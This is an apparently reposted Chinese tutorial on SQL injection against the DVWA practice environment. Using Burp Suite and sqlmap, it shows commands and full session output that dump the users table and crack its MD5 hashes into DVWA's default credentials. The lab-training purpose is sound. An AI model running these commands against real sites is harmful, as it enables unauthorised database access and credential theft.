通過BurpSuite和sqlmap配合對dvwa進行sql注入測試和用戶名密碼暴力破解


0x1:工具和環境介紹

dvwa:滲透測試環境

BurpSuite:強大的WEB安全測試工具

sqlmap:強大的sql注入工具

以上工具和環境都在kali linux上安裝和配置。

0x2:步驟說明

  • 配置Burp Suite和瀏覽器

  這一步比較簡單,主要是用來抓取用來sql注入的信息。

  在Burp中設置proxy代理:127.0.0.1:8080,配置瀏覽器使用代理,這樣瀏覽器的request信息就可以被Burp抓取了。

  • 抓取登錄信息

  在Burp的Proxy界面可以抓取到瀏覽器訪問的信息,如下所示:

  

  可以看到登錄中有id信息,因為已經把dvwa的安全級別調到最低,這里肯定是有注入點的。接下來就用sqlmap進行注入測試了。

  • sqlmap注入測試

  sqlmap的功能很強大,主題的用法可以參考手冊。

  這里是可以探測到id是一個注入點的。接下來可以看一下dvwa數據庫中有哪些數據表:

  因為注入時候需要用到cookie,這里把上面的raw中的內容復制到一個文件中,后面sqlmap會用。

  sqlmap -r /home/flyer/test-sec/1 --current-user --current-db --tables可以看到當前數據庫中的所有表,因為是用root帳號作為數據庫的用戶的。

  這里只列出dvwa的表:

  

  Database: dvwa
  [2 tables]
  +----------------------------------------------+
  | guestbook |
  | users |
  +----------------------------------------------+

以上這些操作說明是可以進行sql注入的,也獲取到了dvwa的數據庫表的名稱,這里可以看到有一個users表,接下來就可以對這個表進行探測,看看里面是不是有一些有用的信息。

  • 獲取用戶表並破解密碼:

   操作如下,有詳細的流程,此處不再贅述。

root@riverbaby:/var/www# sqlmap -r /home/flyer/test-sec/1 --search -D dvwa -T users
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150510}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org

 

do you want sqlmap to consider provided table(s):
[1] as LIKE table names (default)
[2] as exact table names
> 2
[21:35:03] [INFO] searching table 'users' for database 'dvwa'
[21:35:03] [WARNING] reflective value(s) found and filtering out
Database: dvwa
[1 table]
+-------+
| users |
+-------+

do you want to dump tables' entries? [Y/n] y
which database(s)?
[a]ll (default)
[dvwa]
[q]uit
> dvwa
which table(s) of database 'dvwa'?
[a]ll (default)
[users]
[s]kip
[q]uit
> users
[21:35:24] [INFO] fetching columns for table 'users' in database 'dvwa'
[21:35:24] [INFO] fetching entries for table 'users' in database 'dvwa'
[21:35:24] [INFO] analyzing table dump for possible password hashes
[21:35:24] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[21:35:30] [INFO] writing hashes to a temporary file '/tmp/sqlmapmLIBoQ15506/sqlmaphashes-RpFiGo.txt'
do you want to crack them via a dictionary-based attack? [Y/n/q] y
[21:35:36] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/txt/wordlist.zip' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
>
[21:35:47] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] y
[21:35:54] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[21:35:54] [INFO] starting 2 processes
[21:35:54] [INFO] cracked password '1111' for hash 'b59c67bf196a4758191e42f76670ceba'
[21:35:57] [INFO] cracked password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'
[21:36:00] [INFO] cracked password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'
[21:36:05] [INFO] cracked password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'
[21:36:07] [INFO] cracked password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'
[21:36:11] [INFO] postprocessing table dump
Database: dvwa
Table: users
[5 entries]
+---------+---------+--------------------------------------------------+---------------------------------------------+-----------+------------+
| user_id | user | avatar | password | last_name | first_name |
+---------+---------+--------------------------------------------------+---------------------------------------------+-----------+------------+
| 1 | admin | http://localhost/dvwa/hackable/users/admin.jpg | b59c67bf196a4758191e42f76670ceba (1111) | admin | admin |
| 2 | gordonb | http://localhost/dvwa/hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123) | Brown | Gordon |
| 3 | 1337 | http://localhost/dvwa/hackable/users/1337.jpg | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | Me | Hack |
| 4 | pablo | http://localhost/dvwa/hackable/users/pablo.jpg | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | Picasso | Pablo |
| 5 | smithy | http://localhost/dvwa/hackable/users/smithy.jpg | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith | Bob |
+---------+---------+--------------------------------------------------+---------------------------------------------+-----------+------------+

 

0x3:總結

  破解成功,可以看到用戶名和密碼都已經列出來了。

  在網站設計的時候一定要考慮是否有sql注入的漏洞,否則很容易就會泄漏用戶的敏感信息。

  這里破解密碼hash用的是sqlmap自帶的字典,很快就破解出來了,說明用戶密碼設置得並不安全。

  密碼一定不能使用常用的組合或者意義過於明確的數據。

 

  


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM